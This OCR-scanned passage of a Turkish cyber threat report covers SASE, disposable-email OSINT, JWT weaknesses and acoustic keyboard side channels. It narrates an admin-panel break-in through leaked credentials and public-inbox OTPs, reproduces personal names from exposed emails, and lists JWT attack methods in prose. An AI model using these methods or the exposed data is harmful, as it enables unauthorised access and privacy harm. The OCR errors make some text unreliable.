runmasi saglanir. Bulut tabanli bir glvenlik hizmeti
olmasi sayesinde 6lc¢eklenebilirlik, esneklik ve basit-
lestiriimis yonetim gibi birgok avantaj sunar.

SD-WAN (Software-Defined Wide Area Networ-
king - Yazihm Tanimh Genis Alan Agi): Ag trafigi-
ni yénlendirir ve verimli kullaniimasini saglar. Temel
islevleri:

Yodnlendirme: Trafik yonlendirmesini dinamik ola-
rak sadlar. Bu durum ag performansini artirir.

Coklu Baglanti Yonetimi: Birden fazla ag bag-
lantisini (6rnegin, MPLS, internet, 4G/5G) etkili bir
sekilde yonetebilir. Coklu baglanti yedeklilik ve
ylk dengelemesi saglar.

CASB (Cloud Access Security Broker - Bulut Eri-
sim Giivenligi Aracisi): Bulut uygulamalarina erisi-
mi kontrol eden glvenlik bilesenidir. Yetenekleri su
sekildedir:

Bulut tabanli uygulamalara erisimde 6nemli rol
oynar. Bu 6zelligiyle kullanicilarin uygulamalara
guvenli bir sekilde baglanmasini ve verilerini koru-
masini saglar.

Organizasyonlarin bulut uygulamalari igin giivenlik
politikalari uygulayabilmesini saglar. Veri koruma,
kimlik dogrulama ve erisim denetimleri gibi cesitli
glvenlik 6zellikleri igerebilir.

Hassas verilerini bulut uygulamalarinda korumala-
rna saglar. Veri sizintisini dnlemek igin DLP (Data
Loss Prevention) &zelliklerini igerebilir.
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5. ZTNA (Zero Trust Network Access - Sifir Giiven

Ag Erisimi): SASE mimarisinin temelini olusturan bir
bilesendir. Temel iglevleri sunlardir:

Kullanicilar ve cihazlar igcin kimlik dogrulama ya-
par ve sadece yetkilendirilmis kullanicilarin kay-
naklara erisimine izin verir.

Varsayilan olarak glivenmemeyi benimser. Erisim
asla dogrudan verilmez, her zaman dogrulama ve
yetkilendirme gereklidir.

Bu bilesenler, SASE mimarisinin anahtar unsurlarini
temsil eder ve organizasyonlarin givenligini ve ag
performansini artirmak i¢in bir araya getirilir. Bazi
Ureticiler glvenlik GrUnlerini bahsi gegen bilesenlerin
altinda konumlandirirken, bazilari SASE yapisinda
yer alan UrlUnleri genigleterek daha genis bir giiven-
lik yapisi sunmaktadir. SASE mimarisi igcin ekstra ko-
numlandirilan trldnlerin bazilari sunlardir:

RBI (Remote Browser Isolation): Web tarayicisini
izole ederek kullanicilarin tehditlere karsi korunmasi-
ni saglar. Tarayici bulut tabanl sunucularda ¢alisir ve
sonuglar kullaniclya déndurGlur.

DNS Giivenligi: DNS filtreleme ve tehdit istihbarat
kullanarak kot amagh DNS aktivitelerini onler. DNS
erisim politikalarinin belirlenmesini saglar.

WAAP (Web Application & API Protection): Web
uygulamalari ve API'lerin glivenligini saglamak icin
kullanilan bir gtvenlik tGrinaddr. Klasik web uygula-
ma glivenligi Urlinlerinin yeteneklerine sahiptir. Bunun
yaninda API trafigi Uzerinde detayl glivenlik analizleri
yapma yetenegine sahiptir.

. Gecici Posta Hizmetlerinde Hassas Bilgilerin

Kesfedilmesi

Acik Kaynak istihbarati (Open Source Intelligence/
OSINT), belirli bir istihbarat sorusunu yanitlamak
amaciyla kamuya acik bilgilerin toplanmasi, deger-
lendiriimesi ve analiz edilmesiyle Uretilen istihbarat
olarak tanimlanir. Bilginin istihbarata esit olmadigini
unutmamak &nemlidir. Topladigimiz verilere anlam
verilmeden, acik kaynakli bulgular ham veri olarak
kabul edilir. Bu bilgi ancak elestirel dustince zihniye-
tiyle bakilip analiz edildiginde istihbarata dontsr 61,

Gegici/Tek kullanimlik e-posta (temporary or dispo-
sable e-mail), belirli bir sire gectikten sonra kendi
kendini yok eden gegici bir adresten e-posta almani-
za olanak taniyan Ucretsiz e-posta hizmetidir. Bunun
avantaji, herhangi bir kisisel bilginin paylasiimasina ya
da kaydedilmesine gerek olmamasi ve herhangi birinin
adresi ele gecirmesi veya e-postanin kétiye kullanil-
mas! durumunda, adres sahibinin, diger kisileri etkile-
meden adresi kolayca iptal edebilmesidir'. Bazi po-
puler gegici/tek kullanimlik e-posta servisleri sunlardir:

SIBER TEHDIT DURUM RAPORU
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Temp Mail

YOPmail

TempMail+

Dispostable - Disposable email!
Tempr Email

Acik Kaynak Istihbarati, pasif ve aktif olarak ikiye ay-
rilir ve arama motorlar, kamu kayitlar gibi gesitli tek-
niklerle gerceklestirilir. Gegici/Tek kullanimlik e-posta
servislerini kullanmak da burada bir ydntemdir. Gegi-
ci/Tek kullanimlik e-posta verilerinin hizmet sunucu-
larinda barindirldigini belirtmek gerekiyor, dolayisiyla
sunucuya hizmet saglayicilar tarafindan erisilebilir ve
mevcut e-postalarin gercekte yok edilip ediimedigi
bilinmemektedir. Ayrica, birgok Gegici/Tek kullanim-
lik e-posta hizmeti gelen kutularini herkesin erigsimine
aclk tutarak hizmet vermektedir. Bu 6zellikler erigsim
kolayhgi saglarken ayni zamanda énemli gizlilik ve
erisim ihlallerine sebebiyet vermektedir!'®. Bazi po-
puler gecici/tek kullanimlik e-posta isimleri olarak
sunlar sayabiliriz:

Restablecer tu contrasena
2, Spotify =no reply@spotify.com=
(©Sunday, July 23, 2023 4:25:56 AM

Hola.

Mo hay problema, puedes restablecer tu contrasefia de Spotify tras
hacer clic en el siguiente enlace:

Reslablecer conlraseiia
Tu nombre de usuario es: J1cvZepngsughijgxjyagpimbizd

Si no solicitaste el restablecimiento de tu contrasena, puedes borrar
este email y continuar disfrutande tu misica.

Salunns
El equipo de Spotify

Spotify

Phone iPad | Android | Otro(s)
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Steam Account Recovery
3 Swam Support <noteply@stoampowered coms
@5&1““‘]3\1 Juby 22, 2023 TAZAEPM

(=D Show petens

»

Hello a@yopmail.com,

Please click the link below to recover your
Steam login credentials:

RESUME REGOVERY

Sekil 3: Gegici/Tek Kullanimlik e-posta servisinden Steam hesabi

tespit edilmesi.

| Qffer acceptance pending reports generated as on 07/26/2023
.ﬁ I "

| 3 DoNoReply@einstein?. com ply @) 2.coms

| () Thursday, July 27, 2023 1:15:20 AM

| & Pending

| Dear balayya m
Please find the list of orders with "Pending offer acceptance” from your side

Thanks
ENl Support Team

Sekil 4: Gegici/Tek Kullanimlik e-posta servisinden ekinde saglk

verileri bulunan e-postanin tespit edilmesi.

a
aa
aaa
1

2

3
11

contactanos

Términos de Uso | Politica de Privacidad | Contictanos

Sekil 2: Gegici/Tek Kullanimlik e-posta servisinden Spotify hesabi

tespit edilmesi.

SIBER TEHDIT DURUM RAPORU

Bazilarinin Gegici/Tek kullanimlik e-posta servisleri-
nin hizmetlerini; Spotify, Steam, Netflix, Facebook,
Twitter, Instagram, Amazon, Aliexpress, Discord,
AT&T, Grammarly, Tiktok, BTC Hesaplari, kamuya
acik bilgiler ve hasta kayitlan vb. gibi uygulama he-
saplarini agmak igin is e-postalarina ek olarak kullan-
diklar tespit edilmistir'.
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A

T AB Staffing Solutions LLC

Push Report Pending Ofter Accepiance details from 072672023

I S S S S 7 S

TEMMUZ-EYLUL 2023

E ! | VEKDOR
V asncnuint sratin

Famaiid by HEES

Candsdate Hame

1781 MY_ALB Glen Eddy The Terrace Dacey. John
2268 MY_ALE Samaritan BBC Candidate, Naw
2324 MY_ALB St. Peter's Hospital 2 Brady-Famell OR Sioe, Quality
2355 MY_ALB S5 Peter's Hospital 2 Brady-Famell OR Five, Quality
2360 MY _ALE Albany Memorial 4th Floor Sior, Quality
2379 MY_ALE Glen Eddy The Terrace B, Nicky
2563 MY_ALE Albany Memorial 4th Floor Elaven, Quality
2898 THOME Johnson Memorial Hospital Behavioral health ED Rahul, KI
2958 MY_ALR albany Memorial Ath Floor 5, Tendulkar
3606 MY_ALE Albany Memorial dth Floor Kom, Bemard
3670 MY_ALB Albany Memaorial Emergency Department Cedar, Mk
3673 MY_ALE albany Memorial 4th Floor Eleven, Quality
3823 Y_ALE Albany Memorial Ath Floor Jasper, Root
3871 MY_ALB Albany hMemorial 4th Floor Bush, Willita
3817 WY _ALE Glen Eddy The Terrace Morgan, Anna
3647 MY_ALE Albany hMemorial Ambulatory Surgery Buchak, John
4045 MY_ALE Glen Eddy Tha Tarace Cadar, Mk
4188 MY_ALE Glen Eddy The Temrace Jhonson, Ms
4211 MY _ALB Albany hMemorial Emergency Department Kumar, Eshwar
4539 MY_ALE Albany Memorial 4th Floor Eleven, Quality
4645 NY_ALB Albany Memorial 4th Floor Jay. Lalitha
4588 MY _ALE Albany Memaorial Ath Flowr Can, Didate
4653 MY_ALB Albany Memorial Ath Floor John, Jamie
4819 MY _ALB Albany Memorial Ath Floor 4773, Can1
4821 MY_ALB Eddy Senior Care Rahab Kom, Bemard
5027 MY_ALE Albany Memaorial 4th Floor Senior 1, Dev
5041 MY_ALE Albany hemaorial Ath Floor Duran, Kimbaly
5048 ) Fullerton Anesthesia Bouska, Allan
5048 CA Fullerton Angsthesia Can, Didate
5048 ca Fullerton Angsthesia Can_28012020, Can_28012020
5043 cA Fullerton Anesthasia Can2701, Can2?01
5048 ca Fullertan Anesthesia Log, Event
5100 ca Fullertan Anesthesia Bouska, Allen
3100 CcA Fullerton Anesthesia Can_28012020, Can_28012020
5119 ca Fullerton Ansathesia Daidson, Mayo
5121 MY_ALE Albany Memaorial 4th Floor Candsdate, Ab
5129 MY_ALE Albany Memarial 4th Floor David, Green
5133 MNY_ALE Albany Memarial 4th Floor Ab Stafling, Haritha
5133 MY _ALB albany Memorial Ath Floor Ravindra, Stephen
5136 MNY_ALE Albany Memorial 4th Floor Jay, Lalitha
5136 MY_ALB Albany kemaorial Ath Floor Zam, Zirnili Afgdf
3141 care MNICU HICU Dept J, Ricky
5142 MY_ALE Albany Memorial Ath Floor Aruna, Nag
5144 ca Fullerton Anesthesia Bouska, Allen
5192 MY_ALB Eddy Senior Care Rehab Raji. Raptha
5213 MY_ALE Glen Eddy The Temrace Hallinan, Vincent
5214 NY_ALE Glen Eddy The Terrace Hallinan, Vincent
5217 WY _ALE Albany hMemorial 4th Floor Can, Didate
5223 MY _ALR Glen Eddy The Temace Hallinan, Vincent
5224 MY_ALB Glen Eddy The Tarrace Hallinan, Vincent
5225 MY_ALE Glen Eddy The Temace Hallinan, Vincent
5287 Mexico Mexico Cardiovascular Jack, Mion
5342 CA Fullerton Cardio Care Kurnar, Satish

PendingOfferAcceptance

Sekil 5: Gegici/Tek kullanimlik e-posta servisinden ekinde saglik verilerinin bulundugu tespit edilen e-postanin Excel formatindaki icerigi.

Gecici/Tek kullanimlik e-posta servisleriyle saldirganlar,
Amazon AWS servisleri erisim bilgileri, Bitcoin alim satim
clizdanlarina erigim bilgileri, online aligveris uygulamalari
Uzerinden ad, soyadi, kredi karti bilgileri ve ikametgah
adresi gibi kisisel verilere erisim saglayabilir. Erigmis ol-
dugu kisisel veriler ile kullanicilara yénelik hedef odak-
Il oltalama (spear phishing) saldirilari gerceklestirebilir.
Akademik amagcli gerceklestirilen saldin 6rnegi; Gegici/
Tek kullanimlik e-posta servisinde gerceklestirilen calig-
malar esnasinda bir e-posta adresinde fatura bilgisi tes-
pit edilmistir. Tespit edilen fatura bilgisinin sol butonun-
da bir PHP hata ayiklayicisi simgesinin bulundugu tespit
edilmistir. Bu sayfa incelendiginde icerisinde &nemli

kimlik bilgilerinin ve bazi nemli u¢ noktalarinin (endpo-
ints) bulundugu tespit edilmistir. Tespit edilen ug nok-
talarindan (endpoints) birisinin yénetici (admin) paneline
ait oldugu belirlenmistir. Yonetici paneli giris sayfasina
tespit edilen kimlik bilgileri ile erisim denemesi esnasin-
da tek seferlik sifre (OTP/One Time Password) ile erisim
saglandidi tespit edilmistir. Gegici/Tek kullanimlik e-pos-
ta servisi kullanildidi igin tek seferlik sifre (OTP/One Time
Password) bu e-posta servisi mesaj kutusuna gelmistir
ve panele erisim saglanmistir. Yonetici sayfasinda kulla-
nicilarin listelenmesi ile uygulamayi kullanan kullanicila-
rin hesaplarinin tamaminin Gegici/Tek kullanimlik e-pos-
ta servisi ile kayit oldugu tespit edilmistir .

SIBER TEHDIT DURUM RAPORU
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Due Date; 03 August

Invoice #INV548

Invoiced To Pay To
o
Emall : oo

Phone ; === 587 Info S
A - nah -, Curgapura, Jaipur,

nstibyspmticom i R .
Tel: 8115 5

Vs s won || Invokce Link
s FourTr s Crwes B e
" (P hagpt . 04 1260 400 )
Invoice Date
Qoo 03 August 2023
Facetaoh [ ] - . i b B
P Line item
Fancetech
¢ Item Unit Price Gty Gross Amount Discount Tax Total
Gwonga A -
Pizza 45 1 4500 4428
P— ]
e Cake 55 1 55.00 220 % 5379
T Gross amount 100.00
e Discount 10.21
Tax 828
Valle3h
L] Met amount (KES) 98,07

- I

Balance (KES) 9807

Sekil 6: Gegici/Tek kullanimlik e-posta servisinden fatura bilgisi
tespit edilmesi. Sekil 7: Tespit edilen fatura bilgisinin gérintilenmesi.

Imvsice ANV

PHP Debugh 1 "

DATE METHOO  UmL w PILTER DATA

Lead moe Show cely curreen URL Shomal  Dulete ab

METHOD: ~ ume " Semcn

Sekil 9: Onemli ug noktalarinin (endpoints) tespit edilmesi.

SIBER TEHDIT DURUM RAPORU 13
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I P Mewages Tewme  Exceptions Views @) Route  Goenes @) Mocens @) Mam Cate Request [+ PosT adman/metabase recorts isings) & 14ME @ 139ms 0 1333 #7 listings iopemed) (1 3400 v !
token st ot N, . .1

FIPDLBUGBAR_STACK_DATA 1

Frevious sreaysa |t =s etcps: ) [ R =i wsore resorts

Flash arvayid | “old =k 1] e e [ ]

Sekil 10: Yonetici (Admin) kullaniciya ait kimlik bilgilerinin tespit edilmesi.

OoTP

T e—— €D

Resend? 04:59

Success 3
We have successfully sent OTP on your
Sekil 11: Yonetici sayfasina giris denemesi. Sekil 12: Yonetici sayfasina erisim icin tek seferlik sifre (OTP/One

Time Password) gerekli oldugunun tespit edilmesi.

nie @ o i@ yopmitcom®y
. bagat > pre=e (6 OTP Verify request from
<tirom
@“u‘!du\!.l-uguslﬂ! 2023 2:45:19 AM

| | (=E

||

|

| ] Powered by
|

.

I

|

Sekil 13: Gegici/Tek kullanimlik e-posta servisinden yonetici sayfasina erisim icin tek seferlik sifrenin
(OTP/One Time Password) elde edilmesi.

14 SIBER TEHDIT DURUM RAPORU
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Sekil 14: Yonetici sayfasina erisim saglanmasi.

Business Accounts

= 28

L]
o=
o=
===
[hoomei] -
==
==
=
o=
=

1

. 24

- a8

1

Gecici/Tek kullanimlik e-posta servislerinden bilgi top-
lama streclerini otomatik hale getirmek icin “TempMa- The
iISpy” isimli bir arag gelistiriimistir. “TempMailSpy”, Ge-
cici/Tek kullanimlik e-posta hizmetlerinde slrekli olarak
kesif yapmak ve izlemek icin tasarlanmis bir Python be-
tigidir (script). “TempMailSpy”, Telegram ve Slack API’si
ile bildirim génderebilir. Ozellestirilerek yalnizca belirli
anahtar kelimelerin aramasi gerceklestirilebilir 21,

with a
h

Sekil 16: TempMailSpy araci.

SIBER TEHDIT DURUM RAPORU 15
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A

6. JWT Nedir?

JSON Web Token (JWT), taraflar (istemci/sunucu vb.)
arasinda kullanilacak olan bilgilerin JSON nesnesi ola-
rak guivenli bir sekilde iletilmesi i¢cin kompakt ve bagim-
siz bir yol tanimlayan agik bir standarttir (RFC 7519).
JWT icerisindeki bilgiler istege bagl dijital olarak im-
zalanabilmekte ve bu islem, bir gizli anahtar (secret)
veya acik/gizli anahtar (public/private key) kullanilarak
yapilabilmektedir?2.

JWT Yapisi

JWT Anahtari noktalarla ayriimig ve Base64URL ile kod-
lanmig karakter serileri halinde t¢ bélimden olugsmakta-
dir. Baslik (Header), YUk (Payload), Imza (Signature)?s.

eyJhbGci0iJIUzITNiIsInR5cCI6IkpXVCJ9 . ey
JzdWIi0iIxMjMONTY3ODkwIiwibmFtZSI6IkpXV
CBVeWd1bGFtYSB2ZXJpc2kilLCJpYXQiOjEIMTYy
MzkwMjJ9.8wL1fTvCkNECcYwCaT98uyk8ByoMmL

2 7 mor ~ \ -
5wZ jDSDmo-YoU

Sekil 17: Uretilmis JWT anahtar érnegi.

1. Baslk (Header)

JWT anahtarinda ilk sirada bulunan baslk verisi,
HMAC SHA256 veya RSA gibi kullanilacak algoritma
ile anahtar tipini belirten iki farkli alandan olugsmakta-
dir. Ornegin, HS256 degeri HMAC-SHA256 ile sifre-
lendigini gbsterir.

Sekil 18: JWT basglik (header) 6rnegi.

2. Yuk (Payload)

Anahtari kullanacak taraflar arasinda ihtiyagc duyulan
verileri iceren bolimdir. Talepler (Claims) olarak be-
lirtilen veriler Gg farkh tire aynimistir. Bunlar:

Kayith (registered) talepler: Zorunlu olmayan ancak
kullaniimasi standart agisindan tavsiye edilen bu ta-
lepler JWT icinde 6n tanimli olarak belirlenmis alanla-
r igerir. Ornegin “exp”, “sub”, “iat” vb.

Acik (public) talepler: Kayith talepler gibi 6n tanimh
alanlardan olusur ancak daha fazla degere sahiptir.

Gizli (private) talepler: Anahtar degerini kullanacak
taraflar (istemci/sunucu) arasinda kullanilacak olan
Ozel verileri icerir.

TEMMUZ-EYLUL 2023

2sslevel Admin

iat EREEEERNER Wed Sep 06 2023 16:12:53 GMT+0300 (GMT+03:00)

Sekil 19: JWT yik (payload) érnegi.

3. imza (Signature)

JWT anahtarinin son kismidir. Bu kismin olusturula-
bilmesi icin kodlanmig olarak baglik ve yuk verisi ile
birlikte uygulamaya 6zel bir gizli deger kullaniimali ve
imzalanmalidir.

L] haeaiAd YeleTal T
basef64 encoded

Sekil 20: HMAC SHA256 kullanilarak Uretilecek imza (signature)
ornegi.

JWT Kullanimlan ve Avantaijlari

JWT anahtarlarinin en yaygin kullanimi, taraflar arasinda
yetkilendirme iglemlerinin y&netilmesidir. GUnimuzde
bircok yazilim gatisinda JWT anahtarlarini igleyebilecek
kitiphaneler bulunmaktadir. Bu kitliphaneler aracili-
giyla anahtar icinde tasinan bilgilere gére uygulamalarin
davranigl yonetilmektedir.

Ornek bir web uygulamasina ait JWT anahtar kullanila-
rak yetkilendirme isleyisi su sekildedir:

1. Yetkilendirme icin kullanici adi ve parola iceren form
sunucuya gonderilir.

2. Sunucu uzerinde gerekli kontrol saglandiktan sonra
uygulamaya 6zel deger (secret) kullanilarak, istemci-
nin kullanacagi ek bilgileri (payload) iceren bir JWT
anahtari Uretilir ve istemciye goénderilir.

3. istemci tarafindan gerceklestirilecek olan devam is-
lemleri icin JWT bilgisi ilgili HTTP isteklerine eklenir
ve sunucuya gonderilir. Genellikle bu gdnderim igin
istege ait baslik (header) bilgisine eklenen “authori-
zation:” degeri kullanilir.

Ornegin: Authorization: Bearer <JWT Token>

4. Daha sonraki yapilan butiin HTTP isteklerinde, “Aut-
horization” bash@i icindeki anahtar bilgisine gore su-
nucu elinde bulunan 6zel deg@er (secret) ile gelen JWT

imzasinin gegerliligini kontrol ederek gerekli islemi
saglar.

SIBER TEHDIT DURUM RAPORU
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JWT anahtarlarinin kullanimiyla saglanan faydalar su se-
kilde siralanabilir:

1.

Her bir HTTP isteginde kullanici adi ve parola tasin-
masina gerek kalmaz, yetkilendirme anahtar gecerlili-
gini yitirmedigi middetce bu Uretilen deger Uzerinden
gerceklestirilir.

Tek bir anahtar ile birden fazla uygulama icin yetkilen-
dirme yapilabilir (6rnegin, single-sign-on, ayni servis-
leri kullanan web ve mobil uygulamalar vb.).

. Durumsuz (stateless) calistigi icin herhangi bir otu-

rum (session) yénetimine gerek yoktur. Uygulamanin
calismasi icin gerekli bilgiler anahtar icinde tutulur.
Anahtar ise lokal hafizaya (localStorage) kaydedilerek
her bir istekte buradan okunarak sunucuya génderilir.

. Dogrulama iglemi igin klasik veritabani veya dogrula-

ma sunucusu gibi ek sorgular gerekmez. Bu nedenle
performansi daha yiksek ve hizlidir.

JWT Giivenligi

JWT anahtarlan barindirdiklar bilgiler ve sunucu tarafl
kontroller sirasinda bazi glvenlik aciklarina neden olabilir.
Bu nedenle yetkilendirme icin JWT anahtarlar kullanilir-
ken veri dogrulama oldukga dnemlidir. Kullanim sirasinda
dikkat edilmesi gereken bazi hususlar séyle siralanabilir:

1.

Yetkilendirme icin Uretilecek olan anahtar (Access-
Token) gecerlilik siresinin uzun olmasi durumunda,
yetki degisimlerinde guvenlik aciklarn olusabilir. Bu
nedenle anahtar gecerlilik siresinin kisa olmasi ve
gerektiginde yeniden Uretilmesi icin ayri bir yenileme
anahtarinin (refresh Token) Uretilerek taraflar arasinda
paylasiimasi uygun olur.

Uretilen anahtarlardaki bilgiler istemci tarafindan
okunabilir. Bu nedenle gelistiriciler glvenlik acig
olusturabilecek hassas bilgileri anahtara koymaktan
kaginmaldir.

JWT anahtarina konulan bilgilerin (payload) sunucu
tarafli kontrol edilmeden kullaniimasi glvenlik agig
olusturabilir. Bu nedenle her istek sirasinda gerekli
kontrollerin tekrardan yapilmasi daha siki bir gtivenlik
saglar. Bu islem igin en iyi ydntem, kontroli saglana-
cak verinin en glincel halini tutan bir cache mekaniz-
masinin kullaniimasidir.

JWT anahtan olusturulurken bir algoritma segilme-
li (alg=none kullanimamal), kullanilacak olan giz-
li anahtar degeri (secret) tahmin edilebilir ve zayif
olmamalidir?4,

JWT anahtar kullaniminda “iss” degerlerinin tanim-
lanmig olmasi givenlik kontroli agisindan énemli-
dir. Bu deger JWT anahtarini treten kurulug bilgisini
icerir. Bu bilgi kullanilarak anahtar Gretimi sirasinda
kullanilan sifreleme ve JWT anahtarinin hangi hedef
kaynaktan geldigi dogrulanabilir?®!,

SIBER TEHDIT DURUM RAPORU
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JWT Atak Ornekleri

JWT anahtarinda tasinan veriler zafiyet icerecek sekilde
kullanilabilir. Bu zafiyetler saldirganlar tarafindan sémi-
riilerek sistemlerin davranigi degistirilebilir.Ornek olarak:

1. JWT anahtarlari oturum durumlarini (session state)
icerebilir. Bir anahtarin gecerlilik stresinin, tasidigi
oturum bilgisinden daha 6nce bitmemesi durumun-
da cagn yapllan servisler icin anahtardaki bilgiler gi-
venirligini yitirmelidir. Bu bilgiler degistirilerek saldiri
gerceklestirilebilir.

2. JWT anahtarlarini dogrulamak/yénetmek icin kul-
lanilan bazi 3. taraf uygulamalarin icerdigi zafiyetler
saldirganlar tarafindan kullanilabilir. Bu nedenle, ilgili
islem icin varsa farkli bir kitiphane kullanilabilecegi
gibi, ilgili kiGtiphanelerin zafiyet icermeyen son si-
rimlerinin kullanilmasi veya karsilagilan zafiyete gore
kullanim seklinin diizenlenmesi gerekir. Ornegin:
CVE-2022-25898 [2¢]

3. Saldirganlar JWT icinde bulunan 6zel yik (payload)
degerlerini degistirerek uygulamalarin farkli davran-
masini saglayabilir. Ornegin, JWT anahtar iginde
erisim kontroll i¢in tasinan “isAdmin”:false degeri
saldirgan tarafindan “isAdmin”:true degeri ile degis-
tirildiginde bu degeri kullanan alanlarin gorinlr ve
kullanima acik olmasi s6z konusu olabilir. Béyle bir
durumda, uygulamalar sadece anahtar deger iginde-
ki veriye givenmemeli, herhangi bir cagn oldugunda
yetki kontrolleri tekrar yapmalidir.

4. Kullanilan 3. taraf yaziimlann JWT anahtarinin kul-
lanimi icin genelde birden fazla metodu vardir. Dog-
rulama yapilmadan kullanilan JWT anahtarlarn saldir-
ganlar tarafindan sémurtlebilecek bir zafiyet igerir.
Ornegin: Node.js icindeki “jsonwebtoken” kiitiip-
hanesi verify() ve decode() isminde iki farkli metoda
sahiptir. Gelistiricilerin gelen anahtar verisini, verify()
metodu ile imza ve gecerlilik kontroll yapmadan de-
code() metodu ile kullanmasi bir glivenlik acigi icerir
ve saldirganlar kendi imzaladiklari bir anahtari kulla-
narak saldir gergeklestirebilir.

5. Bagslik bilgisinde “alg”: “HS256, HS512 vb.” degeri ile
imza algoritmasi belirlenmis ve buna gdre uUretilmis
bir anahtar, saldirganlar tarafindan “alg”: “none” ola-
rak imzalanmamis bir deger olarak tekrar sunucuya
goénderebilir. Bu tlr durumlarda genelde sunucular
glvenilir olmayan anahtar degerini reddeder ancak
saldirganlar bazi karakter ayristirma, beklenmedik
kod veya gizleme tekniklerini kullanarak bu kontrol
filtrelerini atlatabilmektedir.

6. Geligtiriciler JWT anahtar Ureten kod parcasini ya-
zarken bazen kolay tahmin edilebilir veya varsayi-
lan deg@er olarak birakilan gizli metin degerini (sec-
ret) kullanirlar. Bu tir durumlarda saldirganlar kaba
zorlama (brite-forcing) ile ilgili degeri elde edebilir
ve bulduklar degeri kullanarak yeni yik bilgileriyle
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birlikte imzaladiklari JWT anahtar degerini sunucuya
gbnderebilirler.

7. Uretilen JWT anahtarlarina ait baslk bilgisi icinde
“alg” parametresi zorunludur ancak baslik icinde jwk
(JSON Web Key), jku (JSON Web Key Set URL) ve kid
(Key ID) degerleri de bulunabilmektedir. Saldirganlar
bu degerleri kullanarak kendi Urettikleri anahtar de-
gerlerini sunucuya génderebilir ve bu ydntemle saldi-
rida bulunabilmektedir 7.

7. Klavye Vuruslari Uzerinden Yapilan
Yan Kanal Saldirisi

Side channel attacks (SCA), Tirkce olarak “Yan Kanal
Saldinlan” olarak bilinir ve bir cihazin yaydigi sinyalle-
rin toplanip yorumlanmasini icerir?®. Bu tUr saldirilar,
elektromanyetik (EM) dalgalar?®, gii¢ tiketimi®®, mobil
sensorler™ B2 ve sesPd gibi bircok yayilma ttriinden
yararlanilarak bagarili bir sekilde gerceklestiriimistir. Bu
genis yelpaze sonucunda hedef cihazlar da ¢esitlenmis-
tir; etkilenen cihazlar arasinda yazicilar, Enigma maki-
nesi ve hatta Intel x86 iglemciler dahi yer almaktadir®.
Kablosuz klavyelerin algilanabilir ve okunabilir EM yayi-
hmlar Grettigini goésteren bir calisma mevcuttur. Fakat
yaygin kullanilan ve yayiimi daha kolay tespit edilebilen
tus vurusu seslerini degerlendiren saldirn yéntemlerinin
daha uygulanabilir oldugu degerlendiriimektedir. Klav-
ye kullanicilarin klavye seslerini gizleme konusunda bir
caba gbstermemesi bir bagka kolaylastirici faktdrddr.
Ornegin bir parola yazarken insanlar genellikle ekranla-
rni gizler?®3 ancak klavye sesini gizlemek igin pek bir
sey yapmazlar. Bu durum klavye akustigi konusunda ye-
terince uyarici yayin yapilmamis olmasina baglanabilir.
Bununla beraber yapilan bazi arastirmalarda basilan tus-
lar dogru sekilde tahmin eden bazi modeller gelistirilmis
olsa da bunlar genellikle daha eski, kalin, mekanik klav-
yeler Gzerinde yapilan saldirnlan temel almaktadir. Oysa
guinimizde yaygin olarak kullanilan dizisti bilgisayar-
larin modern klavyelerinden ¢ok daha belirgin akustikler
elde edilebilir. Klavyeler zamanla daha az belirgin hale
gelmis olsa da akustiklerine erigilebilecek ve islenebile-
cek teknoloji dramatik bir sekilde gelismistir. Bu gelis-
meler, mikrofon teknolojisindeki ilerlemelerin sesli inter-
net protokoll (VolP) aramalari®¥ ve akilli saatler® gibi
cihazlarin tus vurusu kayitlarini toplamak icin kullanilma-
sini icermektedir.

Derin Ogrenme (Deep Learning -DL), makine dgrenme-
sinin (Machine Learning -ML) birden fazla katmanl bagh
néronlardan olusan bir alt dalidir. 1960’lardan bu yana
bilgisayar alaninda yaygin olmasina ragmen, DL grafik
isleme teknolojisindeki gelismelerle 2010’larda buyuk
bir sicrama yasadi®®, Jeneratif Rekabetci Aglar'in (Ge-
nerative Adversarial Networks -GAN) ve donusturtcule-
rin (transformers) icadi gibi buyuk ilerlemeler kaydedildi.
DL performansindaki bu artis PyTorch gibi Python pa-
ketleri modellerini gcogu cihazda ¢alistirmak icin gereken
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aracglara Ucretsiz ve neredeyse evrensel erisim saglan-
masina olanak tanimaktadir. DL modelindeki gelisme-
lerle klavyeler Uzerindeki akustik bir saldirinin olasiligi
giderek daha da artmaktadir. Dizlstlu bilgisayarlar ma-
saustl bilgisayarlardan daha tasinabilir olduklar icin
klavye akustiginin yakindan duyulabilecegi kutupha-
neler, kafe ve calisma alanlar gibi halka agik alanlarda
daha fazla bulunabilirler. Ayrica, dizUstl bilgisayarlarda
ayni modeller ayni klavyeye sahip oldugu icgin klavye
yayiimlari da benzerdir. Popller bir dizlistl bilgisayarin
ASCAya (Akustik Yan Kanal Saldirisi) duyarl olmasi o
modeli kullanan bir¢cok kullanicinin biyik bir risk altinda
olmasi anlamina gelebilir.

Yukaridaki bilgileri dikkate alan bir grup arastirmaci tam
otomatik olarak gerceklestirilebilen akustik yan kanal
saldirnsi tasarladilar ve bu saldin yénteminin gindelik
yasam ortamlarinda nasil basarli oldugunu deneylerle
gosterdiler. Bu calismada (1) klavyeye yonelik bir ASCA
saldinsinda ilk kez derin 6grenme (DL) modelleri kullanil-
mis ve (2) tasarlanan yéntem gergek diinya kosullarinda
degerlendirilmistir.

Deneyde 16 GB bellege ve Apple M1 Pro islemciye sa-
hip olan popller bir MacBook Pro 16 in¢ (2021) kulla-
nilmistir. Bu model son donemde kullanilan diger mo-
dellerle ayni klavye tasarimina sahiptir ve muhtemelen
gelecekteki modellerde de ayni tasarimi kullanacaktir.
Telefon kayit modu icin de iPhone 13 mini kullaniimistir.
iPhone, dizistu bilgisayarin sol tarafindan 17 cm uzak-
likta katlanmis bir mikro fiber bezin tstine konulmustur
(bakiniz Sekil 21). Bezin amaci, kayit sirasinda masa tit-
resimini bir miktar azaltmaktir (bu kullanilan masa tiriine
bagl olarak degisebilir). Kayitlar 6rnek hizi 44.100 Hz ve
her bir 6rnek igin 32 bit ile stereo olarak yapilmigtir.

Zoom kayit modu icin video konferans uygulamasi-
nin dahili iglevi kullanilarak tus vuruslari kaydedilmistir.
Zoom toplantisinda yalnizca bir katimcei vardir (kurban)
ve bu kisi MacBook’un dahili mikrofonunu kullanmakta-
dir. Zoom’un guriltl bastirma parametresi mimkin olan
minimum seviyeye (“dUsik”) ayarlanmig, ancak tama-
men kapatiimamigtir. Tuglara basmadan énce “Bu Bil-
gisayarda Kaydet” digmesi tiklanarak ve tus vuruslarni
kaydettikten sonra da “durdur” diigmesi tiklanarak .m4a

\

Sekil 21: Tus vuruslarini kaydetmek igin masa kurulumu.
